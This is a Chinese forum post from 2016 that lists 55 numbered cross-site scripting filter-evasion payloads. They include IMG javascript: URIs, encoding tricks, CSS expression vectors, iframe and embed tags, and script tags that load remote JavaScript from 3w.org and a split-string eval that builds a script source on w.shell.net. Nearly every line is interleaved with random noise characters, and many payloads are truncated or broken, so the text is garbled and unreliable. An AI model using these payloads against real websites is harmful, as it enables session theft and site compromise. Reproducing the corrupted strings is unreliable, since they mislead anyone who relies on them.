(1)普通的XSS JavaScript注入. O/ E- J: E1 e( e; v
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
9 C; P8 X" N8 ]) J, x(99)另类弹框- I% U# h. p1 s, {& J
<q/oncut=alert()>1
9 Z+ V* f& t. t: @8 R<s/onclick=alert()>b
: u/ C \, [' x, e7 R0 s <XSS=" onclick="alert(1)//">clickme</SSX=">
w8 h9 I- G4 E R, N <zzz onclick=alert`1`>clickme</zzz> # {6 H, i1 z0 N6 j. r! G7 L2 F
<a onclick=alert`1`>clickme</a>
! P$ W/ n* v# E" Z5 I<a=">clickme</a=">
. e- m8 w' O* V& R+ e: V<a=">clickme</a>
: W1 X; _' }9 v: ^<z=">clickme</z=">
: |. @; E2 F: ?) Z7 l<z onclick=alert`1`>clickme</z>9 i9 N& L$ |' U; K: T3 f7 L8 e% `1 L
/ x$ d/ b+ _# J4 w8 O4 G+ `
(2)IMG标签XSS使用JavaScript命令
2 i( X+ x8 a# n<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
1 s1 d" t5 I' d+ e% Y( @" u0 C q% b9 t$ ^* d; r1 W* w% @5 f8 S8 \
(3)IMG标签无分号无引号3 D5 W9 D$ l J+ v' W
<IMG SRC=javascript:alert(‘XSS’)>
, b5 \! Z) y9 |: C8 h4 z: _
9 x( `3 ?/ k" U(4)IMG标签大小写不敏感
1 r4 _2 b1 h* |8 P [& M) X<IMG SRC=JaVaScRiPt:alert(‘XSS’)>! k0 O" A6 i4 C' r
. F8 N) F# s% g1 Z4 a) a(5)HTML编码(必须有分号)
$ Q6 T* e- t; N( \9 s' p<IMG SRC=javascript:alert(“XSS”)>
: A. P' @" Y U9 t4 ~' y7 J' _! g. i! _! B; j6 G5 ?# }
(6)修正缺陷IMG标签
4 _0 P% O2 k* r! D6 S<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
3 y" e) Z3 h- Z H6 M K7 D ]6 p
8 r9 U1 o& }& w! C$ F(7)formCharCode标签(计算器)
& `% [* ~6 p* E$ u<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>& X! }; r4 x) h
, |; }3 B' l8 J(8)UTF-8的Unicode编码(计算器)
- t0 e# C) n: Y3 w2 h* y) k<IMG SRC=jav..省略..S')>
5 o2 @9 L. ~) F, U6 S. X ^
5 L5 |( j+ _& U- H ?(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
Y' p1 A f; X* m! K3 Y* U<IMG SRC=jav..省略..S')>0 Y# |7 H( [( }/ P+ Z6 o# @ ?
1 o; v7 Z% M+ G" ?: R- z% a: b(10)十六进制编码也是没有分号(计算器); e1 e. A9 T) N8 H9 @
<IMG SRC=\'#\'" /span>
9 t9 E; }' {( z0 b* @( N$ f" L' Y
. r' q+ w6 V- N( b(11)嵌入式标签,将Javascript分开% k5 o( |7 F Y6 s0 v! o" a
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
0 u& o# \9 L% u8 |- y9 T) ]0 v5 E% F, n# e6 ?
(12)嵌入式编码标签,将Javascript分开7 l2 v% F2 K1 I3 B) C8 S# t/ P# W+ B
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>; T1 q4 K' O$ x6 ^+ {! |. `
- o& Z0 [9 Z2 E4 |9 G(13)嵌入式换行符
7 h& P9 v B: p( o! W3 o<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
' M0 K4 V% S# q9 N9 v6 b4 q
5 O7 R0 n1 C- X U6 R; f# }(14)嵌入式回车
0 z; J g7 y) n8 h7 H7 D<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>8 O! e% W! w4 {3 {! d5 L( F- S6 r( [
' C' c+ o9 ?, K: E5 k5 u(15)嵌入式多行注入JavaScript,这是XSS极端的例子% g9 f+ s3 p S( s- a% R1 n
<IMG SRC=\'#\'" /span>8 ~0 S9 \" T! u l1 t
Z# Z- W" J: R6 n$ _/ J
(16)解决限制字符(要求同页面)
5 d% T/ X0 p' g* J<script>z=’document.’</script>
1 G) T* A# D+ B% K, w<script>z=z+’write(“‘</script>
" @" O! Y2 X$ g<script>z=z+’<script’</script>- g- E! r" P! r1 t. Z
<script>z=z+’ src=ht’</script>
! A4 G1 ^" |9 z& V: ]8 g<script>z=z+’tp://ww’</script>; j t F3 Y, v% F- @& }" H
<script>z=z+’w.shell’</script>0 d* T s8 W+ n
<script>z=z+’.net/1.’</script>( O8 ]) `/ ^/ \/ V
<script>z=z+’js></sc’</script>, g8 b' @' p6 O; c% g; N8 t- K
<script>z=z+’ript>”)’</script>, W0 Y4 P- t" G) A, m. Y
<script>eval_r(z)</script> |' {1 _( |! b4 S3 ~+ N! N5 j% X
8 p5 u: C' J2 J! F6 x
(17)空字符" W) ]1 [0 w7 t
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out8 O& I% r6 `6 r! b) Y7 ]
4 J5 O, Y! k: F( c3 M5 m+ P(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用+ b8 g4 e) r& M" A! b
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out6 ]- z5 U; `2 V3 `4 f) j/ z
1 E: R x1 m f(19)Spaces和meta前的IMG标签
1 z4 K1 a6 p( M I, _5 J# E, q<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
& s$ c$ J V0 b; B- ~. Z( x8 G, P$ z( N" Z# u- ]
(20)Non-alpha-non-digit XSS8 Z9 `4 h9 U; T( A! y3 ]
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT># P$ S1 k# u% ?! R! j
: S! @ ~( v. ~(21)Non-alpha-non-digit XSS to 2
( N* y j. f6 k/ z6 H3 j<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
2 g5 ?" X& x& e
" i* X8 `' f* a$ ~7 P(22)Non-alpha-non-digit XSS to 3" I3 B, g& ~8 L% }5 v
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
4 S4 s/ U; k& f$ _5 T) ~- e
4 |/ m+ F8 N& |$ m# G(23)双开括号
: W9 d( d0 l) \* o<<SCRIPT>alert(“XSS”);//<</SCRIPT>4 F% O7 w# {7 z" V3 m; H
, w% P$ y$ b8 x$ ?2 e# U" c; w(24)无结束脚本标记(仅火狐等浏览器)
) i; q4 R6 K6 L) J* B<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
" U2 Z, {) }+ j4 v3 E1 h; d
) A I# H2 ]9 t" W" e# B N(25)无结束脚本标记2
! ]- \! k; }- \* i& Q<SCRIPT SRC=//3w.org/XSS/xss.js>
& r) r, K# p" P: V
+ a3 o: r3 l0 z | M2 o& i(26)半开的HTML/JavaScript XSS
- Z9 }+ }0 a* P) V% H<IMG SRC=\'#\'" /span>
1 F" [* G5 X: K4 r
8 \5 b' q5 H6 q @(27)双开角括号. A; K6 v" |( Y: I
<iframe src=http://3w.org/XSS.html <7 N% p. ?7 S- U; C( t0 W
' B. m6 Z z& f9 a3 C
(28)无单引号 双引号 分号
" s) m& l) q4 K3 |: d1 ], p. M<SCRIPT>a=/XSS/1 e) n9 n8 d7 W1 y
alert(a.source)</SCRIPT>
/ o5 E! Y' N7 k0 f: ]2 w/ T2 L+ X( }) h, h% ]9 p
(29)换码过滤的JavaScript" {$ S& i" Q" ^- Z* N. [
\”;alert(‘XSS’);//
; ]+ c: W# ^. J& S {" i/ G+ w, w5 e' q
(30)结束Title标签9 x* e9 _& P3 K! {& m% B9 `
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
+ ~: A( \% |1 v3 S. U
" K. C6 b$ h: ] Y& T" ?(31)Input Image
1 H2 L2 ]( l3 [1 e<INPUT SRC=\'#\'" /span>) i% W' G0 z7 g
% X% Z4 g& u% h4 ?' z) @- W+ |(32)BODY Image; C/ `* W+ H7 L/ z0 h1 u
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
5 Z1 l0 N4 v3 ?0 o1 L/ I( u6 N2 R
(33)BODY标签, L+ k. g9 Z' @' e
<BODY(‘XSS’)>
e* H- p+ ]6 t
% r% Z4 H! S' b(34)IMG Dynsrc! _8 l+ V! E3 e3 H2 x4 ~7 N7 ]
<IMG DYNSRC=\'#\'" /span>
- d% |: b! T! z; w* J
# E7 o; J3 j6 P(35)IMG Lowsrc9 R. W+ x* Q V0 M3 f# O( v6 f
<IMG LOWSRC=\'#\'" /span>
- ?& W% A; D" X! ^2 H2 Z; }2 ^. [
(36)BGSOUND }! d' b' o0 Z
<BGSOUND SRC=\'#\'" /span>
2 f' S: F& Q6 q. f- Q$ V7 s! q! w0 c$ J
(37)STYLE sheet
; a e" m( l0 B! f u<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>9 q5 D3 n8 ?! W6 w4 {
u: D4 E" v9 ]9 n(38)远程样式表
! Y9 a% L1 C7 ?% P6 \<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
, l: t5 ~1 B& u1 j3 D: X. O
$ {+ j% x. H( M' X& X(39)List-style-image(列表式)
4 [) e G7 t* q0 C<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS! _ c5 X$ f6 Y2 V* W" J2 d
7 H; W4 m. B6 h6 v) I
(40)IMG VBscript8 V- f0 c8 g' r9 m2 F* a
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS) M2 \+ C, |0 j$ h
) `( Q( h. k- [; u! w% ?& }
(41)META链接url
, z; A% ?- b( H& w<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>1 H. C- m3 N& R4 a% |9 ^6 K/ z5 r
+ [9 t7 f. _0 T2 d, P: d- [
(42)Iframe
8 O7 y5 }7 K3 R5 k<IFRAME SRC=\'#\'" /IFRAME>& ~# w8 o9 z* }6 o6 f
* e A( X3 k2 n) b' B, t5 e(43)Frame
+ ]$ @7 x' Z9 Z% G7 f<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>, e- _! e8 s9 M" f9 |; W4 v! d
3 |# C+ |+ w5 ?, M, T5 r2 j+ `
(44)Table3 V" a7 \: ?8 u, h% z
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
$ d0 l/ g5 L( X8 g( i) H3 p2 s3 y8 p$ Z, v- y: v( Z9 p
(45)TD8 n: K X- y3 ^8 e
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
/ b4 g6 s; N9 d( l! y6 I9 f3 ] X1 n
(46)DIV background-image
+ t' j& B: W+ G9 f- {1 }<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
' c0 t* G3 V3 c0 [" {
/ C; K: o9 e8 Z# |(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)# b5 q `) x7 B" e% f" M# Y
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>( A! N1 m, T( f2 N
% b( F+ U) {+ g' w1 {! y4 R$ X(48)DIV expression+ O' V0 t4 q4 ^
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>& X* _# D" a& J5 f- @7 |
, @1 q: m& ~) j/ I" q# j; v(49)STYLE属性分拆表达2 D# f, \4 U: |+ B( H
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”># O) C4 Y/ ?5 [7 |
+ @! G# A# A2 i. b$ a( d(50)匿名STYLE(组成:开角号和一个字母开头)% E% G2 I) c# M# J O3 \' C# Y3 K
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
_: X6 O9 I0 q) @' O1 R3 D
9 Q$ E+ Q5 A0 ~( r. v(51)STYLE background-image
* U: X. `) j* E<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
9 z0 ]! ^- x$ R6 {* D A6 S5 o3 j/ w4 t$ G; [0 p( l D! `
(52)IMG STYLE方式+ Q; [- X D) ]! u
exppression(alert(“XSS”))’> A7 m* P2 U+ o2 p, d( l& h" J3 b
. A2 _) j2 ]+ _' f0 U(53)STYLE background. `: U3 F8 o$ `3 i% c
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
8 C) s, ], i$ o5 P& S0 r% ^) G
4 h1 O6 c% z4 S2 W(54)BASE0 M1 ?9 i& ]1 [2 t5 B' o
<BASE HREF=”javascript:alert(‘XSS’);//”>- @' _ F: D4 r0 ]. K
' B: R/ I Y7 C/ r% t* f(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS; Y. ^" t7 Y8 u1 C" D
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED> J& M9 Z m7 k8 t5 Y7 Z8 d
|
发表于 2016-4-28 10:06:15
收藏
支持
反对